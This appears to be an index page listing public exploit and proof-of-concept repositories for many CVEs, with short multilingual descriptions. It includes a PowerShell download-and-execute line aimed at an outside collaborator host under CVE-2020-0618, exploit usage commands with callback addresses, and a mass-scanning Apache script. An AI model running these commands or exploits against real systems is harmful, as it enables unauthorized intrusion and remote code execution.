CVE-2022-44877-CWP7

CVE-2022-44877-CWP7 Control Web Panel 7 CWP7 원격 코드 실행 RCE CVE-2022-44877 비인증 저장소에 POC가 곧 업데이트될 예정입니다...

CVE-2017-3881-exploit-cisco-

Une vulnérabilité dans le code de traitement du protocole Cisco Cluster Management Protocol CMP dans les logiciels Cisco IOS et Cisco IOS XE pourrait permettre à un attaquant distant non authentifié de provoquer un rechargement d'un appareil concerné ou d'exécuter du code à distance avec des...

CVE-2022-47986

CVE-2022-47986 Pourquoi Cette vulnérabilité est exploitée activement. IceFire utilise cette vulnérabilité pour déployer le ransomware sur les systèmes ciblés. Je souhaite aider les équipes SOC/Blue à identifier les systèmes impactés et les équipes Pentesters/Red à l'exploiter et à la signaler...

CVE-2026-24061

Эксплойт CVE-2026-24061 Telnet RCE — от SafeBreach Labs Этот скрипт эксплуатирует уязвимость CVE-2026-24061 в Telnet-серверах, используя некорректно сформированную переменную окружения USER. Использование Запустите скрипт с указанием целевого хоста: python telnetrce.py -p Аргументы host: IP-адрес...

CVE-2020-0618

CVE-2020-0618 Melissa https://status.melissa.com/ReportServerCUSTOMERSQL/Pages/ReportViewer.aspx - lien vulnérable $command = 'New-Object Net.WebClient.Proxy.Credentials=Net.CredentialCache::DefaultNetworkCredentials;iwr"https://qoigyuef2a4z1a7rsir6lvi3eukl8a.burpcollaborator.net/In"|iex' $bytes ...

CVE-2025-50165-x64-Exploit

CVE-2025-50165 Exécution de code à distance – Composant graphique Windows x64 Exécution de code à distance critique via un JPEG malveillant – Windows 11 24H2 non corrigé CVSS 9.8 – Aucun privilège, aucune interaction requise CVE-2025-50165 - windowscodecs.dll déréférencement de pointeur non fiabl...

CVE-2019-16113

Bludit 3.9.2 - Exécution de commande à distance - CVE-2019-16113 Cet exploit combine deux exploits dans Bludit CMS 3.9.2 pour exécuter du code à distance sur le système cible. Les exploits originaux sont CVE-2019-17240 et CVE-2019-16113. Fonctionnalités Force brute du mot de passe + RCE Force bru...

CVE-2025-49113

CVE-2025-49113 RCE exploit the method for username/password authentication in this Exploit comes in 4 steps the code is a bit messy...

CVE-2021-41773

ApacheRCE ApacheRCE is a small little python script that will allow you to input the apache version 2.4.49-2.4.50 and then input a list of ip addresses from a text file and mass run the exploit on them, this can be useful if you are running mutiple websites and you want to see if they can all be...

Joomla-3.4.6---configuration.php-Remote-Code-Execution

Joomla-3.4.6---configuration.php-Remote-Code-Execution Затронутые версии: 3.0.0–3.4.6 1. Проверка уязвимости python3 Joomla-3.4.6-RCE.py -t http://172.20.10.4 Отображение «Vulnerable» подтверждает наличие уязвимости. python3 test.py -t http://127.0.0.1:8080/ --exploit --lhost 192.168.31.126...

CVE-2024-43918

Wordpress WBW Product Table Pro = 1.9.4 - Exécution SQL Arbitraire Non Authentifiée menant à une Exécution de Code à Distance CVE-2024-43918 Le plugin WBW Product Table Pro pour WordPress est vulnérable à une exécution SQL arbitraire non autorisée en raison d’un manque de vérification des capacit...

FUDforum-XSS-RCE

FUDforum-XSS-RCE FUDForum 3.0.9 - XSS / Exécution de code à distance CVE-2019-18873, CVE-2019-18839 Plusieurs vulnérabilités XSS stockées ont été découvertes dans FUDforum 3.0.9, pouvant aboutir à une exécution de code à distance. XSS stockée via le nom d'utilisateur dans le forum : Info | Démo X...

CVE-2024-39306

Description This script is a PoC for CVE-2024-39306, where a RCE is possible due to a SQLi where an authenticated user can execute arbitrary commands on a server running ChurchCRM -p -b -c Example: python3 CVE-2024-39306.py -u FirstLast -p Password123 -b http://localhost/churchcrm -c whoami Links...

CVE-2024-9162

CVE-2024-9162 All-in-One WP Migration and Backup SELECT optionname,optionvalue FROM wpoptions WHERE optionname='ai1wmsecretkey'; +------------------+--------------+ | optionname | optionvalue | +------------------+--------------+ | ai1wmsecretkey | PwrqqK3UHQJo | +------------------+-------------...

CVE-2025-27363

CVE-2025-27363 на Chrome 113 Примечание: В chrome это не новая уязвимость, она была исправлена roll-up commit в марте 2023. Этот PoC нацелен только на безголовый режим headless mode Chrome. Однако, думаю, это будет интересное чтение, если хотите изучить некоторые внутренности и увидеть эксплуатац...

CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability

CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability This script provides a proof of concept PoC for CVE-2024-21413, a critical security vulnerability discovered in Microsoft Outlook with a CVSS score of 9.8. This vulnerability, dubbed the MonikerLink flaw, has wide-ranging...

CVE-2025-26865

CVE-2025-26865 : Injection de modèles côté serveur FreeMarker via le plugin « ecommerce » dans Apache OfBiz En raison d'une régression entre 18.12.17 et 18.12.18, le correctif pour la découverte CVE-2022-25813 : Injection de modèles côté serveur FreeMarker dans Apache OfBiz n'était plus appliqué,...

CVE-2024-38063

CVE-2024-38063 Aperçu En août 2024, Microsoft a publié un correctif pour une vulnérabilité d'exécution de code à distance RCE dans TCP/IP de Windows. Certains chercheurs ont déjà publié des preuves de concept PoC pour cette vulnérabilité, et à peu près au même moment, les chercheurs de PatchPoint...

CVE-2022-40471

CVE-2022-40471 Exécution de code à distance via une vulnérabilité de téléchargement de fichier sans restriction dans le Clinic's Patient Management System v 1.0 Description technique : L'exécution de code à distance dans Clinic's Patient Management System v 1.0 permet à un attaquant de télécharge...

CVE-2026-53595_exploit

CVE-2026-53595 + CVE-2026-53593 — Prise de contrôle anonyme de FreeScout → RCE Exécution de code à distance non authentifiée dans FreeScout ≤ 1.8.223 un service d'assistance Laravel en enchaînant deux failles, toutes deux corrigées dans 1.8.224 : CVE-2026-53595 — prise de contrôle anonyme de...